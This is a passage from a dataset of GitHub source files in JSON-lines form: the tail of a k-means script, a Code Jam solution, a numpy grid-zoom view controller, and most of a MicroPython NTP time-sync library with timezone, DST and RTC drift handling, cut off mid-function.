kmeans.labels_\r\n\r\nprint(centroids)\r\nprint(labels)\r\nplt.scatter([centroids[0][0],centroids[1][0]],[centroids[0][1],centroids[1][1]])\r\nplt.scatter(x,y)\r\nplt.show()\r\n\r\n\t\t\r\n","repo_name":"manish25297/Machine_learning-my_prog_2018","sub_path":"My_programs/k_means clustering/k_means_Clustering_1st program.py","file_name":"k_means_Clustering_1st program.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23601843761","text":"case = int(raw_input())\n\nfor x in range(1,case+1):\n\tvals = raw_input().split(' ')\n\tn = int(vals[0])\n\tk = int(vals[1])\n\t\n\tresult = 'ON' if ((k % 2**n) == 2**n-1) else 'OFF' \n\t\n\tprint(('Case #%d: ' + result) % x)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/765.py","file_name":"765.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44216037245","text":"import numpy as np\n\nimport config as cfg\n\nclass ViewController( object ):\n\n def __init__( self, x_grid, y_grid, shape ):\n if x_grid is None:\n x_grid = np.arange( shape[1] )\n if y_grid is None:\n y_grid = np.arange( shape[0] )\n if (y_grid.size,x_grid.size) != shape:\n raise ValueError('grid spacing does not match shape.')\n self.shape = shape\n self.x_grid = x_grid\n self.y_grid = y_grid\n self.x_spacing = self._create_spacing( x_grid, cfg.x_pad )\n self.y_spacing = self._create_spacing( y_grid, cfg.y_pad )\n self.zoom_log = [(self.y_spacing,self.x_spacing)]\n return None\n\n def _create_spacing( self, grid, pad ):\n \"\"\"grid = midpoint of gridcells (arbitrary scale)\n pad = fraction of screen to cut off each edge\"\"\"\n #special case if len(grid) == 1\n if grid.size == 1:\n return np.array([pad,1-pad])\n #calc/guess edges of gridcells\n edge = np.zeros( grid.size + 1 )\n edge[1:-1] = 0.5 * ( grid[:-1] + grid[1:] )\n edge[0] = 2*grid[0] - edge[1]\n edge[-1] = 2*grid[-1] - edge[-2]\n #get fraction for each gridcell (minus padding)\n width = abs( edge[:-1] - edge[1:] )\n scale = (1-2*pad) / width.sum()\n frac = width * scale\n spacing = np.concatenate(([pad],frac)).cumsum()\n return spacing\n\n def get_pos( self, x, y ):\n x_ind = self.x_spacing.searchsorted( x ) - 1\n if (x_ind == -1) or (x_ind == self.shape[1]):\n x_ind = None\n y_ind = self.y_spacing.searchsorted( y ) - 1\n if (y_ind == -1) or (y_ind == self.shape[0]):\n y_ind = None\n return (x_ind, y_ind)\n\n def zoom_in( self, x, y ):\n #zoom in at x/y point\n x_zoom = ((1+cfg.zoom_lvl)*self.x_spacing\n - cfg.zoom_lvl*x).clip(cfg.x_pad,1-cfg.x_pad)\n y_zoom = ((1+cfg.zoom_lvl)*self.y_spacing\n - cfg.zoom_lvl*y).clip(cfg.y_pad,1-cfg.y_pad)\n self.zoom_log.append( (y_zoom, x_zoom,) )\n self.x_spacing = x_zoom\n self.y_spacing = y_zoom\n return None\n\n def zoom_out( self ):\n #revert one step in zoom log\n if len( self.zoom_log ) == 1:\n #already fully zoomed out\n return None\n self.zoom_log = self.zoom_log[:-1]\n self.x_spacing = self.zoom_log[-1][1]\n self.y_spacing = self.zoom_log[-1][0]\n return None\n\n def zoom_reset( self ):\n #zoom out as far as possible\n self.zoom_log = [ self.zoom_log[0] ]\n self.x_spacing = self.zoom_log[-1][1]\n self.y_spacing = self.zoom_log[-1][0]\n return None\n","repo_name":"steven-thomas/soundscape_v2","sub_path":"view_frame.py","file_name":"view_frame.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29311497753","text":"try:\n import usocket as socket\nexcept ImportError:\n import socket\n\ntry:\n import ustruct as struct\nexcept ImportError:\n import struct\n\ntry:\n import utime as time\nexcept ImportError:\n import time\n\ntry:\n import ure as re\nexcept ImportError:\n import re\n\ntry:\n from micropython import const\nexcept ImportError:\n def const(v):\n return v\n\n_NTP_DELTA_1900_1970 = const(2208988800) # Seconds between 1900 and 1970\n_NTP_DELTA_1900_2000 = const(3155673600) # Seconds between 1900 and 2000\n_NTP_DELTA_1970_2000 = const(946684800) # Seconds between 1970 and 2000 = _NTP_DELTA_1900_2000 - _NTP_DELTA_1900_1970\n\n\nclass Ntp:\n EPOCH_1900 = const(0)\n EPOCH_1970 = const(1)\n EPOCH_2000 = const(2)\n\n MONTH_JAN = const(1)\n MONTH_FEB = const(2)\n MONTH_MAR = const(3)\n MONTH_APR = const(4)\n MONTH_MAY = const(5)\n MONTH_JUN = const(6)\n MONTH_JUL = const(7)\n MONTH_AUG = const(8)\n MONTH_SEP = const(9)\n MONTH_OCT = const(10)\n MONTH_NOV = const(11)\n MONTH_DEC = const(12)\n\n WEEK_FIRST = const(1)\n WEEK_SECOND = const(2)\n WEEK_THIRD = const(3)\n WEEK_FORTH = const(4)\n WEEK_FIFTH = const(5)\n WEEK_LAST = const(6)\n\n WEEKDAY_MON = const(0)\n WEEKDAY_TUE = const(1)\n WEEKDAY_WED = const(2)\n WEEKDAY_THU = const(3)\n WEEKDAY_FRI = const(4)\n WEEKDAY_SAT = const(5)\n WEEKDAY_SUN = const(6)\n\n _log_callback = print\n _datetime_callback = None\n _hosts: list = []\n _timezone: int = 0\n _rtc_last_sync: int = 0\n _drift_last_compensate: int = 0\n _drift_last_calculate: int = 0\n _ppm_drift: float = 0.0\n _ntp_timeout_s: int = 1\n _epoch = EPOCH_2000\n\n # (month, week, day of week, hour)\n _dst_start: tuple = ()\n # (month, week, day of week, hour)\n _dst_end: tuple = ()\n # Time bias in seconds\n _dst_bias: int = 0\n # Cache the switch hour calculation\n _dst_cache_switch_hours_start = None\n _dst_cache_switch_hours_end = None\n _dst_cache_switch_hours_timestamp = None\n\n # ========================================\n # Preallocate ram to prevent fragmentation\n # ========================================\n __weekdays = (5, 6, 0, 1, 2, 3, 4)\n __days = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31)\n __ntp_msg = bytearray(48)\n\n @classmethod\n def set_datetime_callback(cls, callback):\n \"\"\" Set a callback function for reading and writing an RTC chip. Separation of the low level functions for accessing\n the RTC allows the library te be chip-agnostic. With this strategy you can manipulate the internal RTC, any\n external or even multiple RTC chips if you wish.\n\n Args:\n callback (function): A callable object. With no arguments, this callable returns an 8-tuple with the\n current date and time. With 1 argument (being an 8-tuple) it sets the date and time of the RTC. The format\n of the 8-tuple is (year, month, day, weekday, hours, minutes, seconds, subseconds)\n\n !!! NOTE !!!\n Monday is index 0\n \"\"\"\n\n if not callable(callback):\n ValueError('Invalid parameter: callback={} must be a callable object'.format(callback))\n\n cls._datetime_callback = callback\n\n @classmethod\n def set_logger_callback(cls, callback = print):\n \"\"\" Set a callback function for the logger, it's parameter is a callback function - func(message: str)\n The default logger is print() and to set it just call the setter without any parameters.\n To disable logging, set the callback to \"None\".\n\n Args:\n callback (function): A callable object. Default value = print; None = disabled logger; Any other value raises exception\n \"\"\"\n\n if callback is not None and not callable(callback):\n raise ValueError('Invalid parameter: callback={} must be a callable object or None to disable logging'.format(callback))\n\n cls._log_callback = callback\n\n @classmethod\n def set_epoch(cls, epoch: int = EPOCH_2000):\n \"\"\" Set the epoch. It is recommended to set the epoch before you start using the class. If you do not set the epoch,\n the default Ntp.EPOCH_2000 will be used.\n\n Args:\n epoch (int): an epoch according to which the time will be calculated.\n Possible values: Ntp.EPOCH_1900; Ntp.EPOCH_1970; Ntp.EPOCH_2000;\n \"\"\"\n\n if epoch not in (Ntp.EPOCH_1900, Ntp.EPOCH_1970, Ntp.EPOCH_2000):\n raise ValueError('Invalid parameter: epoch={} must be a one of Ntp.EPOCH_1900, Ntp.EPOCH_1970, Ntp.EPOCH_2000'.format(epoch))\n\n cls._epoch = epoch\n\n @classmethod\n def get_epoch(cls):\n \"\"\" Get the epoch\n\n Returns:\n int: One of Ntp.EPOCH_1900(0), Ntp.EPOCH_1970(1), Ntp.EPOCH_2000(2)\n \"\"\"\n return cls._epoch\n\n @classmethod\n def set_dst(cls, start: tuple = None, end: tuple = None, bias: int = 0):\n \"\"\" Set DST data in one pass\n\n Args:\n start (tuple): 4-tuple(month, week, weekday, hour) start of DST\n end (tuple) :4-tuple(month, week, weekday, hour) end of DST\n bias (int): Daylight Saving Time bias expressed in minutes\n \"\"\"\n if not isinstance(start, tuple) or not len(start) == 4:\n raise ValueError(\"Invalid parameter: start={} must be a 4-tuple(month, week, weekday, hour)\".format(start))\n elif not isinstance(end, tuple) or not len(end) == 4:\n raise ValueError(\"Invalid parameter: end={} must be a 4-tuple(month, week, weekday, hour)\".format(end))\n\n cls.set_dst_start(start[0], start[1], start[2], start[3])\n cls.set_dst_end(end[0], end[1], end[2], end[3])\n cls.set_dst_time_bias(bias)\n\n @classmethod\n def set_dst_start(cls, month: int, week: int, weekday: int, hour: int):\n \"\"\" Set the start date and time of the DST\n\n Args:\n month (int): number in range 1(Jan) - 12(Dec)\n week (int): integer in range 1 - 6. Sometimes there are months when they can spread over a 6 weeks ex. 05.2021\n weekday (int): integer in range 0(Mon) - 6(Sun)\n hour (int): integer in range 0 - 23\n \"\"\"\n\n if not isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError(\"Invalid parameter: month={} must be a integer between 1 and 12\".format(month))\n elif not isinstance(week, int) or not cls.WEEK_FIRST <= week <= cls.WEEK_LAST:\n raise ValueError(\"Invalid parameter: week={} must be a integer between 1 and 6\".format(week))\n elif not isinstance(weekday, int) or not cls.WEEKDAY_MON <= weekday <= cls.WEEKDAY_SUN:\n raise ValueError(\"Invalid parameter: weekday={} must be a integer between 0 and 6\".format(weekday))\n elif not isinstance(hour, int) or not 0 <= hour <= 23:\n raise ValueError(\"Invalid parameter: hour={} must be a integer between 0 and 23\".format(hour))\n\n cls._dst_start = (month, week, weekday, hour)\n\n @classmethod\n def get_dst_start(cls):\n \"\"\" Get the start point of DST.\n\n Returns:\n tuple: 4-tuple(month, week, weekday, hour)\n \"\"\"\n\n return cls._dst_start\n\n @classmethod\n def set_dst_end(cls, month: int, week: int, weekday: int, hour: int):\n \"\"\" Set the end date and time of the DST\n\n Args:\n month (int): number in range 1(Jan) - 12(Dec)\n week (int): number in range 1 - 6. Sometimes there are months when they can spread over 6 weeks.\n weekday (int): number in range 0(Mon) - 6(Sun)\n hour (int): number in range 0 - 23\n \"\"\"\n\n if not isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError(\"Invalid parameter: month={} must be a integer between 1 and 12\".format(month))\n elif not isinstance(week, int) or not cls.WEEK_FIRST <= week <= cls.WEEK_LAST:\n raise ValueError(\"Invalid parameter: week={} must be a integer between 1 and 6\".format(week))\n elif not isinstance(weekday, int) or not cls.WEEKDAY_MON <= weekday <= cls.WEEKDAY_SUN:\n raise ValueError(\"Invalid parameter: weekday={} must be a integer between 0 and 6\".format(weekday))\n elif not isinstance(hour, int) or not 0 <= hour <= 23:\n raise ValueError(\"Invalid parameter: hour={} must be a integer between 0 and 23\".format(hour))\n\n cls._dst_end = (month, week, weekday, hour)\n\n @classmethod\n def get_dst_end(cls):\n \"\"\" Get the end point of DST.\n\n Returns:\n tuple: 4-tuple(month, week, weekday, hour)\n \"\"\"\n\n return cls._dst_end\n\n @classmethod\n def set_dst_time_bias(cls, bias: int):\n \"\"\" Set Daylight Saving Time bias expressed in minutes.\n\n Args:\n bias (int): minutes of the DST bias. Correct values are 30, 60, 90 and 120\n \"\"\"\n\n if not isinstance(bias, int) or bias not in (30, 60, 90, 120):\n raise ValueError(\"Invalid parameter: bias={} represents minutes offset and must be either 30, 60, 90 or 120\".format(bias))\n\n # Convert the time bias to seconds\n cls._dst_bias = bias * 60\n\n @classmethod\n def get_dst_time_bias(cls):\n \"\"\" Get Daylight Saving Time bias expressed in minutes.\n\n Returns:\n int: minutes of the DST bias. Valid values are 30, 60, 90 and 120\n \"\"\"\n\n # Convert the time bias to minutes\n return cls._dst_bias // 60\n\n @classmethod\n def dst(cls):\n \"\"\" Calculate if DST is currently in effect and return the bias in seconds.\n\n Returns:\n int: Calculated DST bias in seconds\n \"\"\"\n\n # When DST is disabled, return 0\n if not cls._dst_start or not cls._dst_end:\n return 0\n\n # dt = (year, month, day, hours, minutes, seconds, weekday, subseconds)\n # index 0 1 2 3 4 5 6 7\n dt = cls._datetime()\n\n # Calculates and caches the hours since the beginning of the month when the DST starts/ends\n if dt[0] != cls._dst_cache_switch_hours_timestamp or cls._dst_cache_switch_hours_start is None or cls._dst_cache_switch_hours_end is None:\n cls._dst_cache_switch_hours_timestamp = dt[0]\n cls._dst_cache_switch_hours_start = cls.day_from_week_and_weekday(dt[0], dt[1], cls._dst_start[1], cls._dst_start[2]) * 24 + cls._dst_start[3]\n cls._dst_cache_switch_hours_end = cls.day_from_week_and_weekday(dt[0], dt[1], cls._dst_end[1], cls._dst_end[2]) * 24 + cls._dst_end[3]\n\n # Condition 1: The current month is strictly within the DST period\n # Condition 2: Current month is the month the DST period starts. Calculates the current hours since the beginning of the month\n # and compares it with the cached value of the hours when DST starts\n # Condition 3: Current month is the month the DST period ends. Calculates the current hours since the beginning of the month\n # and compares it with the cached value of the hours when DST ends\n # If one of the three conditions is True, the DST is in effect\n if cls._dst_start[0] < dt[1] < cls._dst_end[0] or \\\n (dt[1] == cls._dst_start[0] and (dt[2] * 24 + dt[3]) >= cls._dst_cache_switch_hours_start) or \\\n (dt[1] == cls._dst_end[0] and (dt[2] * 24 + dt[3]) < cls._dst_cache_switch_hours_end):\n return cls._dst_bias\n\n # The current month is outside the DST period\n return 0\n\n @classmethod\n def set_ntp_timeout(cls, timeout_s: int = 1):\n \"\"\" Set a timeout of the requests to the NTP servers. Default is 1 sec.\n\n Args:\n timeout_s (int): Timeout in seconds of the request\n \"\"\"\n\n if not isinstance(timeout_s, int):\n raise ValueError('Invalid parameter: timeout_s={} must be int'.format(timeout_s))\n\n cls._ntp_timeout_s = timeout_s\n\n @classmethod\n def ntp_timeout(cls):\n \"\"\" Get the timeout for the requests to the NTP servers.\n\n Returns:\n int: Timeout in seconds\n \"\"\"\n\n return cls._ntp_timeout_s\n\n @classmethod\n def hosts(cls):\n \"\"\" Get a tuple of NTP servers.\n\n Returns:\n tuple: NTP servers\n \"\"\"\n\n return tuple(cls._hosts)\n\n @classmethod\n def set_hosts(cls, value: tuple):\n \"\"\" Set a tuple with NTP servers.\n\n Args:\n value (tuple): NTP servers. Can contain hostnames or IP addresses\n \"\"\"\n\n cls._hosts.clear()\n\n for host in value:\n if cls._validate_host(host):\n cls._hosts.append(host)\n\n @classmethod\n def timezone(cls):\n \"\"\" Get the timezone as a tuple.\n\n Returns:\n tuple: The timezone as a 2-tuple(hour, minute)\n \"\"\"\n\n return cls._timezone // 3600, (cls._timezone % 3600) // 60\n\n @classmethod\n def set_timezone(cls, hour: int, minute: int = 0):\n \"\"\" Set the timezone. The typical time shift is multiple of a whole hour, but a time shift with minutes is also\n possible. A basic validity check is made for the correctness of the timezone.\n\n Args:\n hour (int): hours offset of the timezone. Type is 'int'\n minute (int): minutes offset of the timezone. Type is 'int'\n \"\"\"\n\n if not isinstance(hour, int):\n raise ValueError('Invalid parameter: hour={} must be int'.format(hour))\n\n if not isinstance(minute, int):\n raise ValueError('Invalid parameter: minute={} must be int'.format(minute))\n\n if (\n (minute == 0 and not (-12 <= hour <= 12)) or\n (minute == 30 and hour not in (-9, -3, 3, 4, 5, 6, 9, 10)) or\n (minute == 45 and hour not in (5, 8, 12))\n ):\n raise Exception('Invalid timezone for hour={} and minute={}'.format(hour, minute))\n\n cls._timezone = hour * 3600 + minute * 60\n\n @classmethod\n def time(cls, epoch: int = None, utc: bool = False):\n \"\"\" Get a tuple with the date and time in UTC or local timezone + DST.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n epoch (int): an epoch according to which the time will be calculated.\n\n Returns:\n tuple: 9-tuple(year, month, day, hour, minute, second, weekday, yearday, us)\n \"\"\"\n\n us = cls.time_us(epoch, utc = utc)\n # (year, month, day, hour, minute, second, weekday, yearday) + (us,)\n return time.localtime(us // 1000_000) + (us % 1000_000,)\n\n @classmethod\n def time_s(cls, epoch: int = None, utc: bool = False):\n \"\"\" Return the current time in seconds according to the selected\n epoch, timezone and Daylight Saving Time. To skip the timezone and DST calculation\n set utc to True.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n epoch (int): an epoch according to which the time will be calculated.\n\n Returns:\n int: the time in seconds since the selected epoch\n \"\"\"\n\n return cls.time_us(epoch, utc = utc) // 1000_000\n\n @classmethod\n def time_ms(cls, epoch: int = None, utc: bool = False):\n \"\"\" Return the current time in milliseconds according to the selected\n epoch, timezone and Daylight Saving Time. To skip the timezone and DST calculation\n set utc to True.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n epoch (int): an epoch according to which the time will be calculated.\n\n Returns:\n int: the time in milliseconds since the selected epoch\n \"\"\"\n\n return cls.time_us(epoch, utc = utc) // 1000\n\n @classmethod\n def time_us(cls, epoch: int = None, utc: bool = False):\n \"\"\" Return the current time in microseconds according to the selected\n epoch, timezone and Daylight Saving Time. To skip the timezone and DST calculation\n set utc to True.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n epoch (int): an epoch according to which the time will be calculated.\n\n Returns:\n int: integer the time in microseconds since the selected epoch\n \"\"\"\n\n epoch_offset = cls._epoch_offset(cls._epoch if epoch is None else epoch)\n\n # Do not take the value when on the verge of the next second\n # This is required to ensure that the sec and usec will be read within the boundaries of one second\n us = cls._datetime()[7]\n if us >= 995000:\n time.sleep_us(100_000 - us)\n\n # Daylight Saving Time (DST) is not used for UTC as it is a time standard for all time zones.\n timezone_and_dst = 0 if utc else (cls._timezone + cls.dst())\n dt = cls._datetime()\n return (time.mktime((dt[0], dt[1], dt[2], dt[3], dt[4], dt[5], 0, 0, 0)) + epoch_offset + timezone_and_dst) * 1000_000 + dt[7]\n\n @classmethod\n def network_time(cls):\n \"\"\" Get the accurate time from the first valid NTP server in the list with microsecond precision. When the server\n does not respond within the timeout period, the next server in the list is used. The default timeout is 1 sec.\n The timeout can be changed with `set_ntp_timeout()`. When none of the servers respond, throw an Exception.\n\n Returns:\n tuple: 2-tuple(ntp time, timestamp). First position contains the accurate time(UTC) from the NTP\n server in nanoseconds. The second position in the tuple is a timestamp in microseconds taken at the time the\n request to the server was sent. This timestamp can be used later to compensate for the difference in time from\n when the request was sent and the current timestamp, taken with time.ticks_us()\n \"\"\"\n\n if not any(cls._hosts):\n raise Exception('There are no valid Hostnames/IPs set for the time server')\n\n epoch_offset = cls._epoch_offset(cls._epoch, (0, _NTP_DELTA_1900_1970, _NTP_DELTA_1900_2000))\n\n # Clear the NTP request packet\n cls.__ntp_msg[0] = 0x1B\n for i in range(1, len(cls.__ntp_msg)):\n cls.__ntp_msg[i] = 0\n\n for host in cls._hosts:\n s = None\n try:\n host_addr = socket.getaddrinfo(host, 123)[0][-1]\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.settimeout(cls._ntp_timeout_s)\n s.sendto(cls.__ntp_msg, host_addr)\n timestamp = time.ticks_us()\n s.readinto(cls.__ntp_msg)\n except Exception as e:\n cls._log('(NTP) Network error: Host({}) Error({})'.format(host, str(e)))\n continue\n finally:\n if s is not None:\n s.close()\n\n sec, nano = struct.unpack('!II', cls.__ntp_msg[40:48])\n if sec < epoch_offset:\n cls._log('(NTP) Invalid packet: Host({})'.format(host))\n continue\n\n sec -= epoch_offset\n micro = (nano * 1000_000) >> 32\n return sec * 1000_000 + micro, timestamp\n\n raise RuntimeError('Can not connect to any of the NTP servers')\n\n @classmethod\n def rtc_sync(cls, new_time = None):\n \"\"\" Synchronize the RTC with the time from the NTP server. To bypass the NTP server,\n you can pass an optional parameter with the new time. This is useful when your device has\n an accurate RTC on board, which can be used instead of the costly NTP queries.\n\n Args:\n new_time (tuple, None): None or 2-tuple(time, timestamp). If None, the RTC will be synchronized\n from the NTP server. If 2-tuple is passed, the RTC will be synchronized with the given value.\n The 2-tuple format is (time, timestamp), where:\n\n * time = the micro second time in UTC since 00:00:00 of the selected epoch\n\n * timestamp = micro second timestamp at the moment the time was sampled\n \"\"\"\n\n if new_time is None:\n new_time = cls.network_time()\n elif not isinstance(new_time, tuple) or not len(new_time) == 2:\n raise ValueError('Invalid parameter: new_time={} must be a either None or 2-tuple(time, timestamp)'.format(ppm))\n\n # Negate the execution time of all the instructions up to this point\n ntp_us = new_time[0] + (time.ticks_us() - new_time[1])\n lt = time.localtime(ntp_us // 1000_000)\n # lt = (year, month, day, hour, minute, second, weekday, yearday)\n # index 0 1 2 3 4 5 6 7\n\n cls._datetime((lt[0], lt[1], lt[2], lt[6] + 1, lt[3], lt[4], lt[5], ntp_us % 1000_000))\n cls._rtc_last_sync = ntp_us\n\n @classmethod\n def rtc_last_sync(cls, utc: bool = False):\n \"\"\" Get the last time the RTC was synchronized.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n\n Returns:\n int: RTC last sync time in micro seconds by taking into account epoch and utc\n \"\"\"\n\n timezone_and_dst = 0 if utc else (cls._timezone + cls.dst())\n epoch_offset = cls._epoch_offset(cls._epoch)\n return 0 if cls._rtc_last_sync == 0 else cls._rtc_last_sync + (epoch_offset + timezone_and_dst) * 1000_000\n\n @classmethod\n def drift_calculate(cls, new_time = None):\n \"\"\" Calculate the drift of the RTC. Compare the time from the RTC with the time\n from the NTP server and calculates the drift in ppm units and the absolute drift\n time in micro seconds. To bypass the NTP server, you can pass an optional parameter\n with the new time. This is useful when your device has an accurate RTC on board,\n which can be used instead of the costly NTP queries.\n To be able to calculate the drift, the RTC has to be\n synchronized first. More accurate results can be achieved if the time between last\n RTC synchronization and calling this function is increased. Practical tests shows\n that the minimum time from the last RTC synchronization has to be at least 20 min.\n To get more stable and reliable data, periods of more than 2 hours are suggested.\n The longer, the better.\n Once the drift is calculated, the device can go offline and periodically call\n drift_compensate() to keep the RTC accurate. To calculate the drift in absolute\n micro seconds call drift_us(). Example: drift_compensate(drift_us()).\n The calculated drift is stored and can be retrieved later with drift_ppm().\n\n Args:\n new_time (tuple): None or 2-tuple(time, timestamp). If None, the RTC will be synchronized\n from the NTP server. If 2-tuple is passed, the RTC will be compensated with the given value.\n The 2-tuple format is (time, timestamp), where:\n\n * time = the micro second time in UTC since 00:00:00 of the selected epoch\n\n * timestamp = micro second timestamp in CPU ticks at the moment the time was sampled.\n Example:\n from time import ticks_us\n timestamp = ticks_us()\n\n Returns:\n tuple: 2-tuple(ppm, us) ppm is a float and represents the calculated drift in ppm\n units; us is integer and contains the absolute drift in micro seconds.\n Both parameters can have negative and positive values. The sign shows in which\n direction the RTC is drifting. Positive values represent an RTC that is speeding,\n while negative values represent RTC that is lagging\n \"\"\"\n\n # The RTC has not been synchronized, and the actual drift can not be calculated\n if cls._rtc_last_sync == 0 and cls._drift_last_compensate == 0:\n return 0.0, 0\n\n if new_time is None:\n new_time = cls.network_time()\n elif not isinstance(new_time, tuple) or not len(new_time) == 2:\n raise ValueError('Invalid parameter: new_time={} must be a either None or 2-tuple(time, timestamp)'.format(ppm))\n\n rtc_us = cls.time_us(utc = True)\n # For maximum precision, negate the execution time of all the instructions up to this point\n ntp_us = new_time[0] + (time.ticks_us() - new_time[1])\n # Calculate the delta between the current time and the last rtc sync or last compensate(whatever occurred last)\n rtc_sync_delta = ntp_us - max(cls._rtc_last_sync, cls._drift_last_compensate)\n rtc_ntp_delta = rtc_us - ntp_us\n cls._ppm_drift = (rtc_ntp_delta / rtc_sync_delta) * 1000_000\n cls._drift_last_calculate = ntp_us\n\n return cls._ppm_drift, rtc_ntp_delta\n\n @classmethod\n def drift_last_compensate(cls, utc: bool = False):\n \"\"\" Get the last time the RTC was compensated based on the drift calculation.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n\n Returns:\n int: RTC last compensate time in micro seconds by taking into account epoch and utc\n \"\"\"\n\n timezone_and_dst = 0 if utc else (cls._timezone + cls.dst())\n epoch_offset = cls._epoch_offset(cls._epoch)\n return 0 if cls._drift_last_compensate == 0 else cls._drift_last_compensate + (epoch_offset + timezone_and_dst) * 1000_000\n\n @classmethod\n def drift_last_calculate(cls, utc: bool = False):\n \"\"\" Get the last time the drift was calculated.\n\n Args:\n utc (bool): the returned time will be according to UTC time\n\n Returns:\n int: the last drift calculation time in micro seconds by taking into account epoch and utc\n \"\"\"\n\n timezone_and_dst = 0 if utc else (cls._timezone + cls.dst())\n epoch_offset = cls._epoch_offset(cls._epoch)\n return 0 if cls._drift_last_calculate == 0 else cls._drift_last_calculate + (epoch_offset + timezone_and_dst) * 1000_000\n\n @classmethod\n def drift_ppm(cls):\n \"\"\" Get the calculated or manually set drift in ppm units.\n\n Returns:\n float: positive or negative number containing the drift value in ppm units\n \"\"\"\n\n return cls._ppm_drift\n\n @classmethod\n def set_drift_ppm(cls, ppm: float):\n \"\"\" Manually set the drift in ppm units. If you know in advance the actual drift you can\n set it with this function.\n The ppm can be calculated in advance and stored in a Non-Volatile Storage as calibration\n data. That way the drift_calculate() as well as the initial long wait period can be skipped.\n\n Args:\n ppm (float, int): positive or negative number containing the drift value in ppm units.\n Positive values represent a speeding, while negative values represent a lagging RTC\n \"\"\"\n\n if not isinstance(ppm, (float, int)):\n raise ValueError('Invalid parameter: ppm={} must be float or int'.format(ppm))\n\n cls._ppm_drift = float(ppm)\n\n @classmethod\n def drift_us(cls, ppm_drift: float = None):\n \"\"\" Calculate the drift in absolute micro seconds.\n\n Args:\n ppm_drift (float, None): if None, use the previously calculated or manually set ppm.\n If you pass a value other than None, the drift is calculated according to this\n value\n\n Returns:\n int: number containing the calculated drift in micro seconds.\n Positive values represent a speeding, while negative values represent a lagging RTC\n \"\"\"\n\n if cls._rtc_last_sync == 0 and cls._drift_last_compensate == 0:\n return 0\n\n if ppm_drift is None:\n ppm_drift = cls._ppm_drift\n\n if not isinstance(ppm_drift, (float, int)):\n raise ValueError('Invalid parameter: ppm_drift={} must be float or int'.format(ppm_drift))\n\n delta_time_rtc = cls.time_us(utc = True) - max(cls._rtc_last_sync, cls._drift_last_compensate)\n delta_time_real = int((1000_000 * delta_time_rtc) // (1000_000 + ppm_drift))\n\n return delta_time_rtc - delta_time_real\n\n @classmethod\n def drift_compensate(cls, compensate_us: int):\n \"\"\" Compensate the RTC by adding the compensate_us parameter to it. The value can be\n positive or negative, depending on how you wish to compensate the RTC.\n\n Args:\n compensate_us (int): the microseconds that will be added to the RTC\n \"\"\"\n\n if not isinstance(compensate_us, int):\n raise ValueError('Invalid parameter: compensate_us={} must be int'.format(compensate_us))\n\n rtc_us = cls.time_us(utc = True) + compensate_us\n lt = time.localtime(rtc_us // 1000_000)\n # lt = (year, month, day, hour, minute, second, weekday, yearday)\n # index 0 1 2 3 4 5 6 7\n\n cls._datetime((lt[0], lt[1], lt[2], lt[6] + 1, lt[3], lt[4], lt[5], rtc_us % 1000_000))\n cls._drift_last_compensate = rtc_us\n\n @classmethod\n def weekday(cls, year: int, month: int, day: int):\n \"\"\" Find Weekday using Zeller's Algorithm, from the year, month and day.\n\n Args:\n year (int): number greater than 1\n month (int): number in range 1(Jan) - 12(Dec)\n day (int): number in range 1-31\n\n Returns:\n int: 0(Mon) 1(Tue) 2(Wed) 3(Thu) 4(Fri) 5(Sat) to 6(Sun)\n \"\"\"\n\n if not isinstance(year, int) or not 1 <= year:\n raise ValueError('Invalid parameter: year={} must be int and greater than 1'.format(year))\n elif not isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError('Invalid parameter: month={} must be int in range 1-12'.format(month))\n\n days = cls.days_in_month(year, month)\n if day > days:\n raise ValueError('Invalid parameter: day={} is greater than the days in month({})'.format(day, days))\n\n if month <= 2:\n month += 12\n year -= 1\n\n y = year % 100\n c = year // 100\n w = int(day + int((13 * (month + 1)) / 5) + y + int(y / 4) + int(c / 4) + 5 * c) % 7\n\n return cls.__weekdays[w]\n\n @classmethod\n def days_in_month(cls, year, month):\n \"\"\" Calculate how many days are in a given year and month\n\n Args:\n year (int): number greater than 1\n month (int): number in range 1(Jan) - 12(Dec)\n\n Returns:\n int: the number of days in the given month\n \"\"\"\n\n if not isinstance(year, int) or not 1 <= year:\n raise ValueError('Invalid parameter: year={} must be int and greater than 1'.format(year))\n elif not isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError('Invalid parameter: month={} must be int in range 1-12'.format(month))\n\n if month == cls.MONTH_FEB:\n if (year % 400 == 0) or ((year % 4 == 0) and (year % 100 != 0)):\n return cls.__days[1] + 1\n\n return cls.__days[month - 1]\n\n @classmethod\n def weeks_in_month(cls, year, month):\n \"\"\" Split the month into tuples of weeks. The definition of a week is from Mon to Sun.\n If a month starts on a day different from Monday, the first week will be: day 1 to the day of the\n first Sunday. If a month ends on a day different from the Sunday, the last week will be: the last\n Monday till the end of the month. A month can have up to 6 weeks in it.\n For example if we run this function for May 2021, the result will be:\n [(1, 2), (3, 9), (10, 16), (17, 23), (24, 30), (31, 31)]. You can clearly see that\n the first week consists of just two days: Sat and Sun; the last week consists of just a single\n day: Mon\n\n Args:\n year (int): number greater than 1\n month (int): number in range 1(Jan) - 12(Dec)\n\n Returns:\n list: 2-tuples of weeks. Each tuple contains the first and the last day of the current week.\n Example result for May 2021: [(1, 2), (3, 9), (10, 16), (17, 23), (24, 30), (31, 31)]\n \"\"\"\n\n if not isinstance(year, int) or not 1 <= year:\n raise ValueError('Invalid parameter: year={} must be int and greater than 1'.format(year))\n elif not 